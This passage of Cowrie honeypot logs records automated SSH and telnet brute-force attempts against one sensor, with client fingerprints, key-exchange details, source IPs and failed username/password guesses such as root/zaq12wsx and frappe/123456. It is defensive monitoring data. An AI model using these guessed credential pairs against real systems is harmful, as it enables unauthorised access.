sa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:15.042575Z","src_ip":"176.65.139.95","session":"512768f9df51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:15.519539Z","src_ip":"176.65.139.95","session":"512768f9df51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45346,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d90df67d7f1","protocol":"ssh","message":"New connection: 192.109.200.78:45346 (159.203.135.109:22) [session: 3d90df67d7f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:16.037275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:16.042318Z","src_ip":"192.109.200.78","session":"3d90df67d7f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:16.468199Z","src_ip":"192.109.200.78","session":"3d90df67d7f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:16.606179Z","src_ip":"176.65.139.95","session":"512768f9df51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:16.814978Z","src_ip":"192.109.200.78","session":"3d90df67d7f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:17.901052Z","src_ip":"192.109.200.78","session":"3d90df67d7f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45812,"dst_ip":"159.203.135.109","dst_port":22,"session":"f321d4fff36e","protocol":"ssh","message":"New connection: 192.109.200.78:45812 (159.203.135.109:22) [session: f321d4fff36e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:20.116912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:20.257205Z","src_ip":"192.109.200.78","session":"f321d4fff36e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:20.260966Z","src_ip":"192.109.200.78","session":"f321d4fff36e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:20.766908Z","src_ip":"192.109.200.78","session":"f321d4fff36e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48634,"dst_ip":"159.203.135.109","dst_port":22,"session":"210f45b8da9d","protocol":"ssh","message":"New connection: 176.65.139.95:48634 (159.203.135.109:22) [session: 210f45b8da9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:20.779287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:20.789432Z","src_ip":"176.65.139.95","session":"210f45b8da9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:20.865179Z","src_ip":"176.65.139.95","session":"210f45b8da9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:21.199168Z","src_ip":"176.65.139.95","session":"210f45b8da9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:21.854221Z","src_ip":"192.109.200.78","session":"f321d4fff36e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:22.284685Z","src_ip":"176.65.139.95","session":"210f45b8da9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51484,"dst_ip":"159.203.135.109","dst_port":22,"session":"1006531df4bd","protocol":"ssh","message":"New connection: 159.203.92.129:51484 (159.203.135.109:22) [session: 1006531df4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:23.742652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:23.747514Z","src_ip":"159.203.92.129","session":"1006531df4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:23.752287Z","src_ip":"159.203.92.129","session":"1006531df4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Mawenjuan","password":"123","message":"login attempt [Mawenjuan/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:23.769096Z","src_ip":"159.203.92.129","session":"1006531df4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45816,"dst_ip":"159.203.135.109","dst_port":22,"session":"e27f98c1af1a","protocol":"ssh","message":"New connection: 192.109.200.78:45816 (159.203.135.109:22) [session: e27f98c1af1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:24.252799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:24.257042Z","src_ip":"192.109.200.78","session":"e27f98c1af1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:24.341831Z","src_ip":"192.109.200.78","session":"e27f98c1af1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:24.774846Z","src_ip":"159.203.92.129","session":"1006531df4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:24.887926Z","src_ip":"192.109.200.78","session":"e27f98c1af1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":16255,"dst_ip":"159.203.135.109","dst_port":23,"session":"dffb1cb41953","protocol":"telnet","message":"New connection: 212.252.78.49:16255 (159.203.135.109:23) [session: dffb1cb41953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:25.398850Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:25.974909Z","src_ip":"192.109.200.78","session":"e27f98c1af1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48646,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2746b417ee7","protocol":"ssh","message":"New connection: 176.65.139.95:48646 (159.203.135.109:22) [session: f2746b417ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:26.612282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:26.634931Z","src_ip":"176.65.139.95","session":"f2746b417ee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:26.702015Z","src_ip":"176.65.139.95","session":"f2746b417ee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:27.085128Z","src_ip":"176.65.139.95","session":"f2746b417ee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:28.255027Z","src_ip":"176.65.139.95","session":"f2746b417ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43694,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb26ec8dc633","protocol":"ssh","message":"New connection: 192.109.200.78:43694 (159.203.135.109:22) [session: eb26ec8dc633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:28.346818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:28.351564Z","src_ip":"192.109.200.78","session":"eb26ec8dc633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:28.434616Z","src_ip":"192.109.200.78","session":"eb26ec8dc633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:28.685993Z","src_ip":"192.109.200.78","session":"eb26ec8dc633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:29.769931Z","src_ip":"192.109.200.78","session":"eb26ec8dc633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40106,"dst_ip":"159.203.135.109","dst_port":22,"session":"991320631571","protocol":"ssh","message":"New connection: 176.65.139.95:40106 (159.203.135.109:22) [session: 991320631571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:32.536135Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43722,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc60ac931a20","protocol":"ssh","message":"New connection: 192.109.200.78:43722 (159.203.135.109:22) [session: bc60ac931a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:32.539536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:32.544397Z","src_ip":"176.65.139.95","session":"991320631571","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:32.547273Z","src_ip":"192.109.200.78","session":"bc60ac931a20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256"